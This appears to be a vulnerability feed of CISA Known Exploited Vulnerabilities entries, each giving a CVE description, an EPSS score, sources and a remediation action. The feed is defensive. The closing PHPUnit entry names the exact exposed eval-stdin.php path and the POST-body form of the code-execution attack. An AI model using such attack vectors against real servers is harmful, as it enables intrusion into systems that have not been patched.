https://kevwire.com/record/CVE-2012-1535
Adobe Flash Player Arbitrary Code Execution Vulnerability (Mar 3, 2022).
Unspecified vulnerability in Adobe Flash Player allows remote attackers to execute arbitrary code or cause a denial of service via crafted SWF content.
EPSS 70.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1535&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-1535: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1535&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability
https://kevwire.com/record/CVE-2012-0507
Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability (Mar 3, 2022).
An incorrect type vulnerability exists in the Concurrency component of Oracle's Java Runtime Environment allows an attacker to remotely execute arbitrary code.
EPSS 98.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0507&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-0507: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0507&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability
https://kevwire.com/record/CVE-2011-3544
Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability (Mar 3, 2022).
An access control vulnerability exists in the Applet Rhino Script Engine component of Oracle's Java Runtime Environment allows an attacker to remotely execute arbitrary code.
EPSS 96.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-3544&date=2026-10-25).
Sources:
CISA KEV entry CVE-2011-3544: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-3544&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Forefront TMG Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2011-1889
Microsoft Forefront TMG Remote Code Execution Vulnerability (Mar 3, 2022).
A remote code execution vulnerability exists in the Forefront Threat Management Gateway (TMG) Firewall Client Winsock provider that could allow code execution in the security context of the client application.
EPSS 49.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-1889&date=2026-10-25).
Sources:
CISA KEV entry CVE-2011-1889: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-1889&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2011-0611
Adobe Flash Player Remote Code Execution Vulnerability (Mar 3, 2022).
Adobe Flash Player contains a vulnerability that allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via crafted Flash content.
EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-0611&date=2026-10-25).
Sources:
CISA KEV entry CVE-2011-0611: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-0611&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Stack-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2010-3333
Microsoft Office Stack-based Buffer Overflow Vulnerability (Mar 3, 2022).
A stack-based buffer overflow vulnerability exists in the parsing of RTF data in Microsoft Office and earlier allows an attacker to perform remote code execution.
EPSS 89.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-3333&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-3333: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-3333&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Exception Handler Vulnerability
https://kevwire.com/record/CVE-2010-0232
Microsoft Windows Kernel Exception Handler Vulnerability (Mar 3, 2022).
The kernel in Microsoft Windows, when access to 16-bit applications is enabled on a 32-bit x86 platform, does not properly validate certain BIOS calls, which allows local users to gain privileges.
EPSS 28.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0232&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-0232: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0232&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Reader and Acrobat Arbitrary Code Execution Vulnerability
https://kevwire.com/record/CVE-2010-0188
Adobe Reader and Acrobat Arbitrary Code Execution Vulnerability (Mar 3, 2022).
Unspecified vulnerability in Adobe Reader and Acrobat allows attackers to cause a denial of service or possibly execute arbitrary code.
EPSS 88.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0188&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-0188: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0188&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Excel Featheader Record Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2009-3129
Microsoft Excel Featheader Record Memory Corruption Vulnerability (Mar 3, 2022).
Microsoft Office Excel allows remote attackers to execute arbitrary code via a spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset.
EPSS 84.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-3129&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-3129: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-3129&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2009-1123
Microsoft Windows Improper Input Validation Vulnerability (Mar 3, 2022).
The kernel in Microsoft Windows does not properly validate changes to unspecified kernel objects, which allows local users to gain privileges via a crafted application.
EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-1123&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-1123: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-1123&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle VirtualBox Insufficient Input Validation Vulnerability
https://kevwire.com/record/CVE-2008-3431
Oracle VirtualBox Insufficient Input Validation Vulnerability (Mar 3, 2022).
An input validation vulnerability exists in the VBoxDrv.sys driver of Sun xVM VirtualBox which allows attackers to locally execute arbitrary code.
EPSS 6.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-3431&date=2026-10-25).
Sources:
CISA KEV entry CVE-2008-3431: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-3431&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Reader and Acrobat Input Validation Vulnerability
https://kevwire.com/record/CVE-2008-2992
Adobe Reader and Acrobat Input Validation Vulnerability (Mar 3, 2022).
Adobe Acrobat and Reader contain an input validation issue in a JavaScript method that could potentially lead to remote code execution.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-2992&date=2026-10-25).
Sources:
CISA KEV entry CVE-2008-2992: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-2992&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2004-0210
Microsoft Windows Privilege Escalation Vulnerability (Mar 3, 2022).
A privilege elevation vulnerability exists in the POSIX subsystem. This vulnerability could allow a logged on user to take complete control of the system.
EPSS 7.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2004-0210&date=2026-10-25).
Sources:
CISA KEV entry CVE-2004-0210: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2004-0210&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2002-0367
Microsoft Windows Privilege Escalation Vulnerability (Mar 3, 2022).
smss.exe debugging subsystem in Microsoft Windows does not properly authenticate programs that connect to other programs, which allows local users to gain administrator or SYSTEM privileges.
EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2002-0367&date=2026-10-25).
Sources:
CISA KEV entry CVE-2002-0367: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2002-0367&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaborate Suite (ZCS) Cross-Site Scripting Vulnerability
https://kevwire.com/record/CVE-2022-24682
Synacor Zimbra Collaborate Suite (ZCS) Cross-Site Scripting Vulnerability (Feb 25, 2022).
Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting (XSS) vulnerability in the Calendar feature that allows an attacker to execute arbitrary code.
EPSS 30.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24682&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-24682: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24682&date=2026-10-25
CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 25, 2022; federal due date Mar 11, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-8570
Microsoft Office Remote Code Execution Vulnerability (Feb 25, 2022).
A remote code execution vulnerability exists in Microsoft Office software when it fails to properly handle objects in memory.
EPSS 89.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-8570&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-8570: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-8570&date=2026-10-25
CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 25, 2022; federal due date Aug 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-0222
Microsoft Internet Explorer Remote Code Execution Vulnerability (Feb 25, 2022).
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory.
EPSS 29.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0222&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0222: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0222&date=2026-10-25
CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 25, 2022; federal due date Aug 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Code Injection Vulnerability
https://kevwire.com/record/CVE-2014-6352
Microsoft Windows Code Injection Vulnerability (Feb 25, 2022).
Microsoft Windows allow remote attackers to execute arbitrary code via a crafted OLE object.
EPSS 77.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-6352&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-6352: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-6352&date=2026-10-25
CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 25, 2022; federal due date Aug 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zabbix Frontend Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2022-23131
Zabbix Frontend Authentication Bypass Vulnerability (Feb 22, 2022).
Unsafe client-side session storage leading to authentication bypass/instance takeover via Zabbix Frontend with configured SAML.
EPSS 95.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-23131&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-23131: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-23131&date=2026-10-25
CISA added this entry on 2022-02-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 22, 2022; federal due date Mar 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zabbix Frontend Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2022-23134
Zabbix Frontend Improper Access Control Vulnerability (Feb 22, 2022).
Malicious actors can pass step checks and potentially change the configuration of Zabbix Frontend.
EPSS 95.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-23134&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-23134: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-23134&date=2026-10-25
CISA added this entry on 2022-02-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 22, 2022; federal due date Mar 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Commerce and Magento Open Source Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2022-24086
Adobe Commerce and Magento Open Source Improper Input Validation Vulnerability (Feb 15, 2022).
Adobe Commerce and Magento Open Source contain an improper input validation vulnerability which can allow for arbitrary code execution.
EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24086&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-24086: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24086&date=2026-10-25
CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 15, 2022; federal due date Mar 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Animation Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2022-0609
Google Chromium Animation Use-After-Free Vulnerability (Feb 15, 2022).
Google Chromium Animation contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 22.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0609&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-0609: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0609&date=2026-10-25
CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 15, 2022; federal due date Mar 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Type Confusion Vulnerability
https://kevwire.com/record/CVE-2019-0752
Microsoft Internet Explorer Type Confusion Vulnerability (Feb 15, 2022).
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer
EPSS 81.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0752&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0752: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0752&date=2026-10-25
CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 15, 2022; federal due date Aug 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows VBScript Engine Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2018-8174
Microsoft Windows VBScript Engine Out-of-Bounds Write Vulnerability (Feb 15, 2022).
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory, aka "Windows VBScript Engine Remote Code Execution"
EPSS 88.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8174&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8174: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8174&date=2026-10-25
CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 15, 2022; federal due date Aug 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WinRAR Absolute Path Traversal Vulnerability
https://kevwire.com/record/CVE-2018-20250
WinRAR Absolute Path Traversal Vulnerability (Feb 15, 2022).
WinRAR Absolute Path Traversal vulnerability leads to Remote Code Execution
EPSS 96.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-20250&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-20250: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-20250&date=2026-10-25
CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 15, 2022; federal due date Aug 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2018-15982
Adobe Flash Player Use-After-Free Vulnerability (Feb 15, 2022).
Adobe Flash Player com.adobe.tvsdk.mediacore.metadata Use After Free Vulnerability
EPSS 89.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-15982&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-15982: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-15982&date=2026-10-25
CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 15, 2022; federal due date Aug 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PHPUnit Command Injection Vulnerability
https://kevwire.com/record/CVE-2017-9841
PHPUnit Command Injection Vulnerability (Feb 15, 2022).
PHPUnit allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-9841&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-9841: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-9841&date=2026-10-25
CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
